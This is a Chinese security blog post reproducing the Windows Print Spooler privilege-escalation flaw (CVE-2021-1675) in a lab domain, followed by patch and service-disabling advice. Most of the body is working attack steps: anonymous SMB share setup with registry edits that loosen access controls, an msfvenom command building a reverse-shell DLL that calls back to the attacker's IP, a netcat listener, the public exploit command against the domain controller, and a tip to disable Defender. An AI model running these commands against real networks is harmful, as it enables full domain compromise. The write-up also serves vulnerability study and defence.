CVE-2021-1675/34527:Windows Print Spooler权限提升复现

VSole2021-08-05 05:36:06

0x01 简介

Windows Print Spooler是Windows的打印机后台处理程序,广泛的应用于各种内网中。

0x02 漏洞概述

攻击者可以通过该漏洞绕过PfcAddPrinterDriver的安全验证,并在打印服务器中安装恶意的驱动程序,若攻击者所控制的用户在域中,则攻击者可以连接到DC中的Spooler服务,并利用该漏洞在DC中安装恶意的驱动程序,完整的控制整个域环境。

0x03 影响版本

* Windows Server 2019 (Server Core installation)  
* Windows Server 2012 R2 (Server Core installation)
* Windows Server 2012 R2
* Windows Server 2012 (Server Core installation)
* Windows Server 2012
* Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
* Windows RT 8.1
* Windows 8.1 for x64-based systems
* Windows 8.1 for 32-bit systems
* Windows 7 for x64-based Systems Service Pack 1
* Windows 7 for 32-bit Systems Service Pack 1
* Windows 10 Version 1607 for x64-based Systems
* Windows 10 Version 1607 for 32-bit Systems

0x04 环境搭建

目标域:

Windows Server 2019域环境 ( test.com )

IP:192.168.3.3

攻击机:Kali-2021

IP:192.168.3.55

普通域账户密码:

win10/windows10>

impact包:

https://github.com/cube0x0/impacket

Linux配置smb匿名访问:

1、修改/etc/samba/smb.conf文件

[global]
    map to guest = Bad User
    server role = standalone server
    usershare allow guests = yes
    idmap config * : backend = tdb
    smb ports = 445
[smb]
    comment = Samba
    path = /usr/share2    
    guest ok = yes
    read only = no
    browsable = yes

PS:

对于 [global] 只需要把 idmap config * : backend = tdb 前面的分号删掉,然后再添加一条 smb ports = 445  即可,其他项都是默认的,最后把整个 [smb]  添加上去

2、重启samba

service smbd restart

3、创建共享文件夹

mkdir /usr/share2

Windows配置匿名访问:

mkdir C:\share
icacls C:\share\ /T /grant "ANONYMOUS LOGON":r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'(powershell下运行不适合win7)
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f

0x05 漏洞复现

1、安装impact包

git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install

2、Kali生成恶意dll文件

msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.3.55 LPORT=4444 -f dll -o /usr/share2/shell.dll

3、msf或者nc开启监听

msf 和 nc开启监听都可以 
nc -lnvp 4444


4、执行exp

exp地址:https://github.com/cube0x0/CVE-2021-1675
python3 CVE-2021-1675.py test.com/win10:"windows10>?"@192.168.3.3 '\\192.168.3.55\smb\shell.dll'

虽然报错了 但是已经收到了shell



0x06 修复建议

1.官方建议:

目前官方已发布漏洞修复补丁,建议受影响用户尽快更新漏洞补丁。

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675

2. 临时防护措施:

若相关用户暂时无法进行补丁更新,可通过禁用Print Spooler服务来进行缓解:

1)在服务应用(services.msc)中找到Print Spooler服务。

2)停止运行服务,同时将“启动类型”修改为“禁用”。

**坑点**

1、windows defender 关闭

defender没关闭之前,exp一直失败,然后就尝试关闭defender,就可以成功(dll未免杀的原因)。

2、windows共享利用失败

在windows上测试开启共享之后,能够在域控上匿名访问到共享文件,但是exp一直失败。

参考链接:

https://github.com/cube0x0/CVE-2021-1675

smb
本作品采用《CC 协议》,转载必须注明作者和本文链接
SMB Beacon 与命名管道在 Windows 中,无管理员权限的情况下,即无法添加白名单。定义特定版本的协议的消息数据包集称为方言。进行身份验证后,用户可以访问服务器上不受共享级别安全性保护的所有共享。
空会话意味着对网络资源的访问是在没有身份验证的情况下授予的。也称为匿名或访客访问,最常见的是IPC$ "Windows Named Pipe"共享。人们倾向于认为用户名是唯一的身份验证机制,在工作组中,这基本上是正确的。
Windows SMB Server远程代码执行漏洞(CNVD-2017-29681)
思科透露其四个小型企业路由器系列存在严重缺陷——仅在 2022 年第二次。
0x01 前言之前在打一个域环境的时候出现了域内主机不出网的情况,当时用的是cs的socks代理将不出网主机的流量代理到了边缘主机上。当时没有考虑太多,下来之后想到搭一个环境复现一下当时的情况,看有没有更简便的方法能够打下不出网的主机
攻击者可通过向共享目录投递连接外部服务器的资源文件,用户请求过程中尝试身份验证,会默认使用SMB协议将用户哈希发送到服务器,这样攻击者就会获取对方用户账户哈希。
服务器信息块(Server Message Block,SMB
未经身份验证的远程攻击者可能会利用这些漏洞,以易受攻击的设备为根执行任意代码。“Cisco Small Business RV160,RV160W,RV260,RV260P和RV260W VPN路由器的基于Web的管理界面中的多个漏洞可能允许未经身份验证的远程攻击者以root用户的身份在受影响的设备上执行任意代码。”这些漏洞之所以存在,是因为未正确验证HTTP请求。好消息是,思科产品安全事件响应团队没有意识到利用上述漏洞进行的攻击。
上周四(1月11日),国家网络安全中心(NCSC)发布了一份面向中小企业(SMB)的新指南,旨在帮助中小企业在使用在线服务时减少网络攻击的潜在影响。
微软宣布,为了提高Windows的安全性,此后在Windows 11 Insider Preview Build 25381企业版中,默认所有连接都需要SMB签名。SMB签名可以确保每条消息都包含使用会话密钥和密码套件生成的签名。微软官网上说,所有版本的Windows和Windows Server都支持SMB签名,但第三方可能会对它禁用或不支持。不支持签名的SMB设备允许恶意方进行拦截和中继攻击。
VSole
网络安全专家